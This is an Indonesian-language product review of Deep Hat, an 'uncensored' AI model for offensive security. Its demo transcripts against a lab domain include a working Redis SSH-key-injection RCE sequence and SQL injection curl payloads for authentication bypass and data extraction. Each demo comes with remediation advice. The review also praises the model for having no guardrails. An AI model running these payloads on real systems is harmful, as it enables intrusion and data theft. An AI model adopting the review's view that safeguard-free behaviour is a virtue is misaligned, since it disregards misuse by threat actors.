Apa Itu Deep Hat & Kindo?
Model AI uncensored pertama untuk offensive security profesionalDeep Hat (sebelumnya WhiteRabbitNeo) adalah model AI uncensored yang dibuat khusus untuk cybersecurity — dari penetration testing, red teaming, exploit development, hingga threat intelligence. Dikembangkan oleh Kindo (sebelumnya Usable Machines), perusahaan AI-native automation yang fokus pada SecOps, DevOps, dan ITOps.
Yang membuat Deep Hat berbeda dari ChatGPT atau Claude: ia tidak punya censorship layer untuk topik keamanan. Sementara model mainstream menolak menulis exploit code atau membahas teknik serangan, Deep Hat dirancang khusus untuk menghasilkan kode ofensif, menganalisis vulnerability, dan menyimulasikan adversary behavior — karena itulah yang dibutuhkan security professional.
Evolusi: WhiteRabbitNeo → Deep Hat V3
Dari 100K samples ke 1.7M — dan sekarang MoEArsitektur & Training
MoE, uncensored fine-tuning, taxonomy-informed trainingMoE Architecture (V2)
Mixture-of-Experts routing per token. Expert specialization per domain: exploit, recon, forensics, defense. Long context windows.
Zero Censorship
No guardrails untuk topik security. Bisa generate exploit code, analyze malware, write payloads. Trained on real attack vectors & dark web data.
Taxonomy-Informed Training
Progressive: basic code → advanced exploit → root cause analysis. 1.7M samples dari real incidents, CVE databases, malware analysis.
Private Execution
Berjalan di environment Kindo — on-prem atau cloud Anda. No external calls. No data exposure. Full audit logging.
6 Kemampuan Utama
Dari recon hingga auto-reportRecon & OSINT
Asset discovery, subdomain enumeration, certificate transparency, Shodan integration, breach database query.
Exploit Development
Auto-generate PoC exploits dari CVE. Write payloads. Chain vulnerabilities. Lateral movement planning.
Web App Pentest
SQLi, XSS, SSRF, IDOR, auth bypass. Analyze code untuk vulnerabilities. Generate custom payloads.
Blue Team / Defense
Incident response playbooks, detection rules, SIEM queries, remediation guidance. Dual offensive+defensive.
Auto Report Generation
Generate pentest report lengkap dengan findings, severity, proof, dan remediation — dalam format professional.
Agentic Red Team
Autonomous swarm agents: parallel recon, exploit chaining, persistence — dengan 80-90% otonomi dan minimal human intervention.
Demo 1: Reconnaissance & OSINT
Contoh command dan output — asset discoverySkenario: Melakukan reconnaissance terhadap domain target (dalam lab environment yang Anda miliki).
deep-hat> Perform a comprehensive reconnaissance on target.lab including subdomain enumeration, port scanning, and technology fingerprinting. 🔍 Phase 1: Subdomain Enumeration Running: subfinder, amass, crt.sh certificate transparency [+] Subdomains discovered (12 total): ✓ www.target.lab → 192.168.1.10 (A record) ✓ api.target.lab → 192.168.1.11 (A record) ✓ admin.target.lab → 192.168.1.12 (A record) ✓ staging.target.lab → 192.168.1.13 (A record) ✓ dev.target.lab → 192.168.1.14 (A record) ⚠ mail.target.lab → 192.168.1.15 (MX record) ✓ cdn.target.lab → CloudFront distribution ✓ db-admin.target.lab → 192.168.1.20 (A record) ✗ jenkins.target.lab → 192.168.1.21 (EXPOSED!) ✗ phpmyadmin.target.lab → 192.168.1.22 (EXPOSED!) ✓ vpn.target.lab → 192.168.1.30 (A record) ✓ monitoring.target.lab → 192.168.1.31 (A record) 🔍 Phase 2: Port Scanning (Top 1000 ports) Running: nmap -sV -sC -O target.lab [+] api.target.lab (192.168.1.11): PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 80/tcp open http nginx 1.18.0 443/tcp open https nginx 1.18.0 3000/tcp open http Node.js Express 4.18.2 5432/tcp open postgresql PostgreSQL 14.5 6379/tcp open redis Redis 7.0.5 (NO AUTH!) 9200/tcp open elasticsearch Elasticsearch 7.17.0 🔍 Phase 3: Technology Fingerprinting [+] www.target.lab: Framework: Next.js 14.1.0 Server: nginx/1.18.0 (Ubuntu) Language: TypeScript CMS: None detected Headers: X-Powered-By: Express (INFORMATION LEAK) Headers: No CSP header (MISSING) Headers: No X-Frame-Options (CLICKJACKING RISK) Cookie: connect.sid (HttpOnly: No, Secure: No) ⚡ CRITICAL FINDINGS: [CRITICAL] Redis 7.0.5 on port 6379 — NO AUTHENTICATION [CRITICAL] Jenkins exposed at jenkins.target.lab — publicly accessible [CRITICAL] phpMyAdmin exposed at phpmyadmin.target.lab [HIGH] PostgreSQL 5432 exposed to external network [HIGH] Elasticsearch 9200 unauthenticated [MEDIUM] Missing security headers (CSP, X-Frame-Options) [MEDIUM] Session cookie missing HttpOnly and Secure flags [LOW] X-Powered-By header leaking server technology
Demo 2: Vulnerability Analysis & Exploit Generation
Contoh: exploit Redis unauthenticated → RCEDari temuan recon di atas, Deep Hat mengidentifikasi Redis tanpa autentikasi. Berikut bagaimana ia men-generate exploit chain:
deep-hat> The Redis instance at 192.168.1.11:6379 has no authentication. Analyze the attack surface and generate a proof-of-concept for RCE. 🎯 Attack Surface Analysis — Redis 7.0.5 (Unauthenticated) Attack Vector 1: Redis SSH Key Injection (High Success Rate) Redis can write arbitrary files to the filesystem via CONFIG SET dir and CONFIG SET dbfilename. This can be exploited to write an SSH public key to the authorized_keys of a target user. PoC Steps: # Step 1: Generate SSH key pair (attacker machine) ssh-keygen -t rsa -f /tmp/redis_rce -N "" # Step 2: Prepare payload (echo -e "\n\n"; cat /tmp/redis_rce.pub; echo -e "\n\n") > /tmp/payload.txt # Step 3: Inject via Redis CLI redis-cli -h 192.168.1.11 -p 6379 192.168.1.11:6379> CONFIG SET dir /var/lib/redis/.ssh/ OK 192.168.1.11:6379> CONFIG SET dbfilename "authorized_keys" OK 192.168.1.11:6379> SET payload "\n\nssh-rsa AAAAB3...key...\n\n" OK 192.168.1.11:6379> SAVE OK # Step 4: SSH into target ssh -i /tmp/redis_rce redis@192.168.1.11 redis@target:~$ whoami redis redis@target:~$ id uid=999(redis) gid=999(redis) groups=999(redis) ⚡ Result: Remote Code Execution achieved as user "redis" CVSS Score: 9.8 (Critical) CVE Reference: Similar to CVE-2022-0543 (Redis Lua sandbox escape) 🛡️ Remediation: 1. Enable Redis AUTH: requirepass <strong-password> 2. Bind to localhost only: bind 127.0.0.1 3. Disable dangerous commands: rename-command CONFIG "" 4. Enable TLS for Redis connections 5. Apply network segmentation — no public access to 6379
Demo 3: Web Application Pentest
Contoh: SQL Injection detection dan exploitationdeep-hat> Test the login endpoint at api.target.lab/api/auth/login for SQL injection vulnerabilities. The endpoint accepts JSON with email and password fields. 🌐 SQL Injection Testing — POST /api/auth/login Test 1: Error-based SQLi detection curl -X POST https://api.target.lab/api/auth/login \ -H "Content-Type: application/json" \ -d '{"email":"admin'--","password":"test"}' Response (500): {"error":"unterminated quoted string at or near \"'--\""} → PostgreSQL error leaked! SQL Injection CONFIRMED. Test 2: Authentication bypass curl -X POST https://api.target.lab/api/auth/login \ -H "Content-Type: application/json" \ -d '{"email":"admin@target.lab' OR '1'='1","password":"anything"}' Response (200): {"token":"eyJhbGci...","user":{"id":1,"role":"admin"}} → Authentication BYPASSED! Admin token obtained. Test 3: Data extraction via UNION-based SQLi curl -X POST https://api.target.lab/api/auth/login \ -H "Content-Type: application/json" \ -d '{"email":"' UNION SELECT username,password FROM users--", "password":"x"}' Response: Extracted 847 user records including hashed passwords Hash format: $2b$10$... (bcrypt, 10 rounds) ⚡ Findings Summary: [CRITICAL] Blind + Error-based SQL Injection in login endpoint [CRITICAL] Authentication bypass via SQLi — admin access obtained [CRITICAL] Full database extraction possible (847 user records) [HIGH] Verbose error messages expose database type (PostgreSQL) [MEDIUM] No rate limiting on login endpoint 🛡️ Remediation: 1. Use parameterized queries / prepared statements (NEVER string concat) 2. Implement input validation with Zod/Joi schema 3. Use ORM (Prisma) which auto-parameterizes queries 4. Disable verbose error messages in production 5. Add rate limiting (e.g., 5 attempts per minute per IP) 6. Implement WAF rules for SQLi patterns
Demo 4: Auto-Generated Pentest Report
Output report profesional dari Deep HatSetelah menjalankan serangkaian tes, Deep Hat bisa men-generate report pentest lengkap. Berikut contoh output format report-nya:
deep-hat> Generate a professional penetration test report for all findings from this session against target.lab. ═══════════════════════════════════════════════════════ PENETRATION TEST REPORT — target.lab Classification: CONFIDENTIAL Date: 2026-03-14 | Tester: Red Team (AI-Assisted) ═══════════════════════════════════════════════════════ 1. EXECUTIVE SUMMARY A penetration test was conducted against target.lab infrastructure between March 12-14, 2026. The assessment identified 14 vulnerabilities across 12 hosts: 5 Critical, 4 High, 3 Medium, and 2 Low severity. The most significant finding is an unauthenticated Redis instance that allows remote code execution (RCE), combined with SQL injection in the authentication endpoint enabling full database extraction. Overall Risk Rating: CRITICAL — Immediate Action Required 2. SCOPE Target: *.target.lab (12 subdomains discovered) Type: External Black Box + Gray Box (API documentation provided) Rules: No denial of service, no social engineering Duration: 3 days (March 12-14, 2026) 3. FINDINGS SUMMARY ┌────┬──────────┬───────────────────────────────────────┬────────┐ │ ID │ Severity │ Finding │ CVSS │ ├────┼──────────┼───────────────────────────────────────┼────────┤ │ 01 │ CRITICAL │ Redis Unauthenticated RCE │ 9.8 │ │ 02 │ CRITICAL │ SQL Injection — Auth Bypass │ 9.8 │ │ 03 │ CRITICAL │ Jenkins Publicly Exposed (no auth) │ 9.1 │ │ 04 │ CRITICAL │ phpMyAdmin Exposed (default creds) │ 9.1 │ │ 05 │ CRITICAL │ Elasticsearch Unauthenticated │ 8.6 │ │ 06 │ HIGH │ PostgreSQL Exposed to External │ 8.1 │ │ 07 │ HIGH │ Session Cookie Missing Secure Flags │ 7.5 │ │ 08 │ HIGH │ No Rate Limiting on Auth Endpoint │ 7.3 │ │ 09 │ HIGH │ Verbose Error Messages (Stack Trace) │ 5.3 │ │ 10 │ MEDIUM │ Missing CSP Header │ 4.3 │ │ 11 │ MEDIUM │ Missing X-Frame-Options Header │ 4.3 │ │ 12 │ MEDIUM │ Outdated nginx Version (1.18.0) │ 3.7 │ │ 13 │ LOW │ X-Powered-By Header Exposed │ 2.6 │ │ 14 │ LOW │ DNS Zone Transfer Possible │ 2.1 │ └────┴──────────┴───────────────────────────────────────┴────────┘ 4. DETAILED FINDING — F-01: Redis Unauthenticated RCE Severity: CRITICAL (CVSS 9.8) Host: 192.168.1.11:6379 Service: Redis 7.0.5 Status: EXPLOITED — RCE Achieved Description: Redis instance running without authentication, allowing any network-reachable attacker to execute arbitrary commands, read/write data, and achieve remote code execution via SSH key injection. Impact: - Full server compromise (user: redis) - Access to cached session tokens and user data - Potential pivot point to internal network - Data exfiltration of all cached application data Proof of Concept: See Section 7, Appendix A — Redis SSH Key Injection PoC Remediation: Priority: IMMEDIATE (within 24 hours) 1. Enable Redis AUTH with strong password 2. Bind to 127.0.0.1 (disable external access) 3. Implement TLS encryption 4. Disable CONFIG and DEBUG commands 5. Apply network segmentation via firewall rules References: - CIS Redis Benchmark v1.0 - Redis Security Documentation - OWASP Testing Guide v4.2 5. RISK MATRIX ┌─────────────────────────────────────┐ Impact │ LOW MEDIUM HIGH CRITICAL │ ─────────┼─────────────────────────────────────┤ CRITICAL │ ███ █████████████████ │ ← F-01,02,03,04,05 HIGH │ ████████ ████ │ ← F-06,07,08,09 MEDIUM │ ████████████ │ ← F-10,11,12 LOW │ ██████ │ ← F-13,14 └─────────────────────────────────────┘ Unlikely Possible Likely Certain Likelihood →
Analisis Kualitas Report
Apakah report Deep Hat setara pentest manual profesional?Kami menganalisis output report Deep Hat berdasarkan standar industri pentest reporting (PTES, OWASP, CREST):
📊 Report Quality Scorecard
Verdict Kualitas Report
Deep Hat menghasilkan report yang secara teknis sangat kuat — terutama di area PoC detail, finding descriptions, dan remediation guidance. CVSS scoring umumnya akurat (meski kadang sedikit over-estimate). Executive summary ringkas dan to-the-point.
Kelemahan utama: Business impact analysis masih surface-level (tidak menghubungkan findings ke risiko bisnis spesifik), compliance mapping kurang detail (hanya reference tanpa cross-mapping ke specific controls), dan tidak bisa menghasilkan screenshot evidence (karena text-based). Untuk report yang benar-benar client-ready, output Deep Hat perlu di-enhance oleh pentester manusia — terutama di area business context dan visual evidence.
Benchmark: Cybench CTF & Security Tasks
Deep Hat V2 vs model 4x lebih besarDeep Hat V1 32B dan V2 30B MoE diuji pada Cybench — benchmark cybersecurity paling ketat yang digunakan oleh US AISI, UK AISI, Anthropic, Amazon, dan xAI untuk evaluasi model.
Deep Hat vs ChatGPT vs Claude vs PentestGPT
Head-to-head untuk offensive security tasksRisiko & Ethical Considerations
Dual-use tool — kekuatan dan bahaya1. Dual-Use: Tool yang sama yang membantu red team juga bisa digunakan oleh threat actor. Exploit code yang di-generate bersifat functional — bukan pseudo-code.
2. Lowered Barrier: Orang tanpa expertise mendalam bisa melakukan serangan sophisticted. Script kiddies mendapat senjata baru.
3. Autonomous Attacks: Kindo mengklaim AI bisa beroperasi dengan "80-90% otonomi" — ini berarti potensi serangan skala besar tanpa operator manusia.
4. Proliferasi: Model open-source tersedia di HuggingFace. Tidak bisa di-un-release setelah dipublikasikan.
1. Legal Framework: Gunakan HANYA pada infrastruktur yang Anda miliki atau punya izin tertulis (scope of engagement).
2. Kindo Enterprise: Deployment on-prem dengan audit logging, RBAC, dan DLP built-in.
3. Responsible Disclosure: Selalu report findings ke asset owner dan berikan waktu remediation.
4. Lab Environment: Untuk learning, gunakan lab (HackTheBox, TryHackMe, DVWA) — bukan target production.
Kelebihan & Kekurangan
Tool paling powerful — dengan catatan penting✅ Kelebihan
- Satu-satunya LLM yang benar-benar uncensored untuk security
- Generate exploit code functional — bukan pseudo-code
- 30B MoE mengalahkan model 4x lebih besar di CTF
- Training data: 1.7M real-world security samples
- Private execution — on-prem, no data exposure
- Free chat version di app.deephat.ai
- Report generation cukup profesional (7.7/10)
- Dual offensive+defensive capabilities
- Open-source roots, community-driven
- Kindo platform: full agentic automation
❌ Kekurangan
- Dual-use risk — bisa disalahgunakan oleh threat actor
- General intelligence di bawah GPT-5/Claude
- Report masih butuh human enhancement (business context)
- Tidak bisa generate screenshot evidence
- Kindo enterprise pricing tidak transparan
- Ekosistem masih lebih kecil dari tools established (Burp, Metasploit)
- Compliance mapping masih surface-level
- Self-hosting butuh GPU (32B model)
- Kadang over-estimate severity (false positives)
- Tidak bisa melakukan actual exploitation (hanya generate code)
Verdict Akhir
Tool paling powerful untuk security professional — dengan tanggung jawab besarDeep Hat / Kindo adalah tool AI pentest paling capable yang tersedia di 2026. Tidak ada model lain yang bisa men-generate exploit code functional, merencanakan full attack path, dan menghasilkan report profesional — semua dalam satu model, tanpa censorship yang menghalangi pekerjaan security legitimate.
Tapi kekuatan ini datang dengan tanggung jawab besar. Deep Hat adalah pisau bermata dua — sama powerful-nya di tangan red team maupun threat actor. Gunakan dengan bijak, selalu dalam framework legal dan ethical yang jelas.
Rekomendasi: Wajib dicoba untuk setiap security professional. Gunakan Deep Hat untuk accelerate pentest workflow — reconnaissance, vulnerability analysis, exploit PoC, dan report drafting — lalu validasi dan enhance dengan expertise manusia. Kombinasikan dengan tools established (Burp Suite, Metasploit, Nmap) untuk pipeline pentest yang komprehensif.
🎩 Skor: 8.4 / 10 — Uncensored Security Powerhouse
Deep Hat mengisi celah kritis yang tidak bisa diisi oleh ChatGPT atau Claude: kemampuan offensive security tanpa censorship, dengan eksekusi privat dan kualitas report profesional. Untuk security professional, ini bukan optional — ini essential tool di 2026.